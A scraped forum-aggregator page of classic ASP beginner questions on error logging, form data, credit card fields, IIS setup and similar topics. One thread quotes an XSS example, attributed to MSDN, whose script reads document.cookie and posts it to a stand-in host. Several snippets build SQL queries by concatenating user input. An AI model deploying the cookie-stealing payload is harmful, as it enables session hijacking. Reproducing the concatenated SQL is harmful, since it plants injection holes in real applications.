Tracking Forums, Newsgroups, Maling Lists
Home Scripts Tutorials Tracker Forums
 
  HOME    TRACKER    ASP




Error Information


I would like to email detailed error information from my website when an
error occurs.
I tried to use "On Error Resume Next" and if an error occurs check the Err
object and the AspError object returned by Server.GetLastError(), but I
didn't get the same amount of details as I can see on the browser's window
if I don't set "On Error Resume Next".
Is there a way to get detailed information from IIS ?




View Complete Forum Thread with Replies

See Related Forum Messages: Follow the Links Below to View Complete Thread
ASP Error Event Information Is Missing The File Name
I am using Windows 2003/IIS 6. The following event occurs during the day. i
want to debug the culprit ASP page which is causing this, but having hard
time without knowing on what page and website where the error occurs.
May anyone have any idea:

1)how to change the server configuration so it will log the page, or
2) is the error log stored elsewhere (i checked
onWINDOWSsystem32LogFilesHTTPERR, but it logs different sort of errors),
or
3)is there another way to log only errors (we have an internal error
monitoring system, but this error seems to escape it. maybe it's on
global.asa)? Code:

Row Information
I have a database page with a table. I am using ASP and MSSQL on a Windows 2003 machine.

When I get the database information displayed in the table, I have something like the following:
<table>
<tr><td>row1</td><td>row1</td><td>row1</td<td>row1</td>
</tr>
</table>
The table has a total of 167 row that would be divided into five categories.
How can i get the above table to show:
<tr><td>row1</td><td>row2</td><td>row3</td><td>row4</td></tr>

Updating The Information
i'm trying to add the data of such client, some of his data have been added already but if i'm going to add or update his data (additional info.) what happened is the data is being added into new row not on the specific client. Code:

Status Information
I'm have a page which requires considerable database processing before writing the results to the page. I therefore wish to have a "Please wait message" up on the screen whilst the main page is processed.

I've tried Response.redirect hoping that the previous page will stay until all processing on th main page is complete and id drawn but this is not the case.


Clear Information
When I submit information i post it to a page and when it’s reloaded it runs as code accordingly if I refresh it re runs the asp because the information is still posted. How do I clear the posted information? Or possibly after it runs the asp code alter a value in the posted information.

Sending Information In A URL
I would like to have my application send a 'request' to an ASP page on my server. something like:-

http://www.mydomain.com/registration.asp?name="Fred"&age="25"

The browser then displays the full URL including the
parameters: name="Fred" and age="25"

Is there any way I can send the parameters without them appearing in the URL.

Retrieve Information
how can i retrieve information on a form page that once previously submitted by the user so that when the user goes back to that form page it will remember what they inputted instead of having them to retype it again? do i have to use session? can somebody please help me... what would be the easiest and most efficient for a newbie to tackle this problem?

Update Information
I have an update page, when user changes their info. Click update button then go to the update.asp:Code:

LastName= Request.Form("LastName")
Conn.Execute "Update UserInfo SET UserID='" & UserID & "'

'Send an email to confirm…
'Thanks for updating your information

If I refresh the page, it keep sending email. How can we prevent sending email if he/she keep refreshing the page (do not want to disable the refresh button).

Secure Information
I've an ASP page in wich the customer write his card number for the payment. How can I make this information secure when it's sent to the server?

Server Information
I am developeing a dynamic website and want to know all the informaton about the server ie OS, Service Pack installed, IIS info and many others. So is there any script for retrieving such type of information of the server on the client side. basicaly i want to use it in ASP.

Hardware Information
I'm trying to make a web site that get user hardware information (processor's id and motherboard's id, one of them at least).there's been already one week and nothing yet.I have 2 servers:

windows 2003 server
windows XP professional
both have wmi and iis

Information Using SOAP?
I am looking for tutorial and/or help on regards to accessing information using SOAP using ASP. I'm proficient in ASP, but know ver little about SOAP and XML.

Two Bits Of Information
how do i insert two bits of information (email and emailend) into the one database field "email"?

Code:

SQL = "Insert INTO users (uid,pwd,firstname,lastname,email) Values ('" & uid & "','" & pwd & "','" & firstname & "','" &
lastname & "','" & email & "')"

how can you do that?

Checking For Information
I use ASP to check users data they submit. In particular, I'm checking for credit cards and I also use a server component DynuCreditCard. It basically affirms that the number "could be" a real credit card number.

Anyway, I cannot get through the website without having a legit CC#. None of the handful of testers that help cannot get through without a legit CC#. About once a month some user gets through with a blank credit card field. How do you troubleshoot something like that? I can't replicate the problem. Do you just say... "oh well... there was a computer glitch"...? How can I approach this problem?

Get Information Within A Page
If i have a combo box, automatically when the user changes the item, i want to display information from the database within a textbox, without having to go to the next page.
Currently i only know how to do this by going onto another page.

In VB it was a simple case of calling a procedure, how does it work in ASP? If i need to call a procedure, how would i do this in ASP. The example in w3schools passes the variables, can i do it without it?

Textbox Information
How do i search for user based on specific fields? I have a checkbox beside each field of Name, User ID, Email. There's a textbox beside each field for the user to fill up. How it suppose to work is the user would fill up the textboxes and check the appropriate fields to search on.

It can have a combination of searches like he can search on the name and the user ID or all 3 fields. I was thinking is it possible to store the textbox information into the checkbox of that field and retireve the information?

Exporting Information To .csv
I have a table that contains information that I need to export to a .csv file without manually saving the file, e.g click a button, information is passed and saved. I have no problem geting the information from the table, just exporting it into a .csv and then saving.

Pulling Information
I am working on a project involving pulling information from Active Directory (Name, email address, contact no.) and sticking this information in some SQL tables. Using ASP, How do I enable windows authentication (username and password from active directory) ?.

In other words, when the incharge user wants to login to the tables on the web, he must use his/her windows username and password ? On the same project, I want to assign different groups with different security levels. (something similar to the Active Directory security groups), and let the admin asign rights to each group in order to control access and privilege of each user within a group.

Server Information
I have a little bit of a problem. I have 4 computers using Network Load Balancing. They all share 1 Virtual IP to take requests on. I can't tell what server is taking the request when I view a page. I want to make sure the NLB is working correctly. Is there a way to get the name of the machine or something using asp?

Information Boxes
how the information boxes pop up when you mouse over a link? For instance in this forum, when you mouse over the Title of the thread, an information box pops up with the entire message. I assume that is Javascript, but does anyone know where I can find more information on this?

Collect Information
There is a web page (asp.net) that shows some information on a table, we need to collect these information from this web page every 6 hours and save it to a SQL data base and prepare it for further analyzes.

how can I collect the data from this web page automatically.

About Acquiring Cookie Information By XSS
In an article of MSDN website,there are some codes about acquiring Cookie information by XSS.

<a href=http://www.hexair-sample-13.com/req.asp?name=
<FORM action=http://www.badsite-sample-13.com/data.asp
method=post id="idForm">
<INPUT name="cookie" type="hidden">
</FORM>
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
</SCRIPT> >
Click here!
</a>

But "<" befor "Form" wasn't saw as tag by browser when I put these codes into my HTML page and run the page.it was displayed in Hyperlink address.so ,these codes couldn't work as expected.

Internet Information Service
I would like to test ASP websites
and therefore I neet the Internet Information Service
feature from Win XP. The problem is that I have Win XP
Home Edition. Is there any way to upgrade this feature
called Internet Information Service to my Win XP Home
Edition system?

I thought there might be a file to find at the windows
download page but I just found Internet Information
Service security patches. Is there any file that installs
this feature called Internet Information Service (IIS).

Grabbing Information From Session
I have this site to where people can get access to via a username and passwrod. THere is also a download section in here, but i want to limit the amount of downloads, but i also am covering up where the download is located. So when someone hits download on the page, they get sent to an asp page. This asp page has a response.redirect to download the file.

I have stored the peoples username and password in a session. I can "response.write" the infromatino that is in the session, yet i can not assign that information to a variable. Code:

Accessing ADSI Information
In the intranet system I'm building I need to draw information about Staff and integrate it into Department pages, and make it accessible via querystrings (so users can search for names). I've asked my IT department how to do this and they basically said "ask the internet"

So, if I want to access such information, where do I start? I cant find any tutorials that answer my questions, and feel a bit out of my depth regarding what I'm even meant to be asking. So basically... help! What's should be my plan of action!

I need to :

A) draw names, phone numbers, email addresses to show on relevant department pages.

B) Make a facility to search staff names to bring up similar information.

Retieving Information From Popup
First I am asking if it can be done and if yes how?? Where can I read to find out how?
I want a popup window to popup and ask to from date and show a list using those dates?
Can it be done using asp?

Domain Information Stored
I'm trying to have the user's logon to the domain information stored into variables. Now I've been reading up on the request.servervariables("logon_user"), but am having troubles getting it to work. All I want is whoever is logged on the machine to be stored into a variable on my page.

Storing Global Information
I'm developing an intranet and I would like for first time visitors (per session) to check a table's settings so that the intranet would act accordingly.

in tblIntranetSettings, I have a field called fldIntranetDown. This field holds a 0 or 1 value (0 meaning the Intranet is not down and 1 meaning that it is)

I would like for the supposed system to check this value and perform a function dependant on the value it finds. My thoughts were to use the Session_OnStart of the global.asa, but to my understanding that is only fired off as a new session is created (yes, this checks the value, but read on for a possible snafu)

Now, if I had a visitor who did this check, and it came up as 0, allowing them to peruse the intranet, and something came up where I changed that value to 1, thus closing the intranet, said user could still roam, as that the check SHOULDN'T be made on a per page request basis (that would be a hog, wouldn't it?)

So my question is, "How can I develop some kind of system where the database values are stored for all to reference without multiple hits on the DB and only updated (to be checked) when their values are changed?"

Please don't feel like you have to give the EXACT answer here. If you say something like "You'll need to look into XXX, that do what you want", then that is all I need (I like doing the research, I'm just stumped for an answer to HOW I can go about doing this)

I'm using ASP/VBScript on a WindowsXP/2K network with Access2K2/SQL2K DBs.

Internet Information Service
I would like to install the
Internet Information Service to my Windows XP Home
Edition System. I tried it before and I realized that
this is a special feature of Win XP Professional.

Maybe cou could tell me how to install this and run it on
my Win XP Home Editon to write ASP sites. I thought of
downloading the right file at windows download site but I
cannot find it. There are a lot of security updates but
not the setup file. Is there any other way to install it
on my system or make it work?

Passing Information From 1 Form To Another
I am trying to pass information from form 1 to form 2 and then write all the information to the db using form 3.

I am writing contact information into Form 2, but making it a hidden field, below are the hidden values that i am passing to form 2: Code:

Storing Lots Of Information...
I want to store information within 1 field. For example

my field is:

Region1:
[Name]David[/NAME][UNITS]26[/UNITS]

IF I wanted to without changing the entire string could I change the value of 26? Like remove [UNITS][/UNITS]

and add my new number?

Import Calendar Information
I planning to create a calendar function which bind to the Microsoft Exchange Server. I need to know how can I retrieve the Calendar information like appointment, meeting and etc from the exchange server by using the ASP

How To Get Information Abt A Recordset By Clicking On It
In my asp page i m using a query that returns a count number for diff groups and displaying through a recoedset.Now my problem is whenever i click on a count it displays me data related to that group like name, id etc in a popup window.

I have divided the prob in two steps but i dont know how to achieve this.

1. whenever i click on a count it return me its groupno
2. Now this group number should be passed to popup window where i have already written a query to get required results.

i dont know how to dynamically get the group number by clicking on the count.Once i get the required groupno,how to pass it to popup window where it can be used in "where clause of SQL query".

Information Display Using Marquee
Do While NOT rs.EOF

Str_Scroll = Str_Scroll & " .:::. " & rs.fields(0)
rs.movenext
loop

Does anyone knows how to change some code above to make it display the all the information line by line...i mean,not in a full sentence..

1st information
2nd information
3rd information

Using POST To Redirect Information
I'm doing a quiz in ASP, where info is passed from "quiz.asp" to "validate.asp" which checks the answers from a database and redirects back to the quiz page to show the wrong answers.

All that is working fine, but the problem is that I also need to redirect some other information related to the user, and I don't want to use GET and the querystring to show that.

Sessions were used in previous pages but were killed and replaced by variables before the user comes in the quiz page because I don't want the pages to be time-restricted (if the sessions expire).

The validate page uses response.redirect to move to the quiz page. So I can't use a form there.

Is there any way I could hide the information passed using POST, and if not what is a safe way to get around this.

Gathering User Information
I have a web page in which people can register with a
user id and password of their choice. I use two text boxes
to collect the information. Now, I want to save this information
to a database. How do I do that?

To Get Some Information About The Web Site User
i building a website in a LAN which will not be published on the
internet. but the users in the LAN are accessing the web site through
an ISA firewall server. i would like to ask if there is a way to get
the ip address of the users to monitor their access to the web site. i
tried to use the servervariable REMOTE_ADDR but of course it returns
the firewall's ip address.

can any one tell how can i do get the ip address of the users to save
it in a database.

Printing Out Information About An Array
I'm trying to make some changes to an ASP application for a side project. I'm trying to figure out what all is being held in some arrays being passed around, such as Session and other ones.

In PHP there is a function called "print_r" which prints out an array in a key -> value format. Is there an ASP equivalent function which does this?

// print out the contents of this array

print_r($_SESSION);

// output
Array ( [user_id] => 1 [user_name] => jsmith )

Random Image And Information From Db
I was wondering if anyone knows how I can have a random product image shown on a page with information such as product info, price from the db?

Aviod Putting Url-information
We have two applications for one system. The first application is a vb-app
and the second is a web-app.

From the vb-app users have the possibility to enter right into the web-app.
The vb-app is creating an appropriate url and opens the web-browser with
this. The url contains user-information like user name and password. We
don't want this url-information to be stored in the history-list, because
then advanced users can find passwords etc here and that's not so good.

Credit Card Information
My client wants to have credit card information fields on his forms for his website visitors to be able to buy his wervices by credit card.The credit card info-Brand, number and expiry date will be sent to the server and stored in the database as the .asp page calls itself on Submit.

How secure is this?I've never had to worry about it before but is form information encrypted before being sent to the server? Are there any legal obligations for handling peoples credit card information?The actual credit card payments will be handled manually at the clients company.

Audio File Information
how to use vbscript to read a directory of audio files, recursively, and get the actual length, in seconds, of each file? The files will be wavs and aiff's.

Internet Information Service
I would like to test ASP websites and therefore I neet the Internet Information Service feature from Win XP. The problem is that I have Win XP Home Edition. Is there any way to upgrade this feature called Internet Information Service to my Win XP Home Edition system?

I thought there might be a file to find at the windows download page but I just found Internet Information Service security patches. Is there any file that installs this feature called Internet Information Service (IIS).

Internet Information Server
i am trying to add iss (internet information server).i have found a web site to access iss on xp home addition and i went to view the options of the control panel/windows components.its there but it cannot be clicked on and installed.

Grabbing Information From A .txt File
I have seen people's ASP scripts which call an external .txt file and compare it to a form's returned information (i.e. a password and login system), and--with my being new to ASP--I couldn't figure out how. What I want to do is write a form's results to a .txt document and retrieve those results via JavaScript, HTML, ASP, PHP, etc.

Retriving Date Information
A database has been developed to allow IT to track fault requests. However when you list the faults in question it doesn't display the issuedate.I have checked the code in relation to the other ASP requests, apart from the field name everything else is identical.

Information From A Memo Field
I don't know what i am doing wrong. I have an access database,and One of my fields is
Memo format. So when i try to display the information in that field, I was unable to do so, nothing would come up in IE. but the data is there in the fields.something like this.

response.write(rs("description"))

when i changed the field to "text" format, everything worked perfectly fine, ASP was able to display the information stored in that field. But when i changed it back to memo, it would display nothing.is there like a special way of displaying information stored in a Memo field?

Escape Char Information
is escape char in asp script and how we can encode the url in asp script?

Logging In To View Information
What is the easiest way to set up an area on my site where I can allow people to register and login to view information? I know this shouldn't be too hard, but I've never had to mess with it before. I have a mySQL database at my disposal.


Copyright © 2005-08 www.BigResource.com, All rights reserved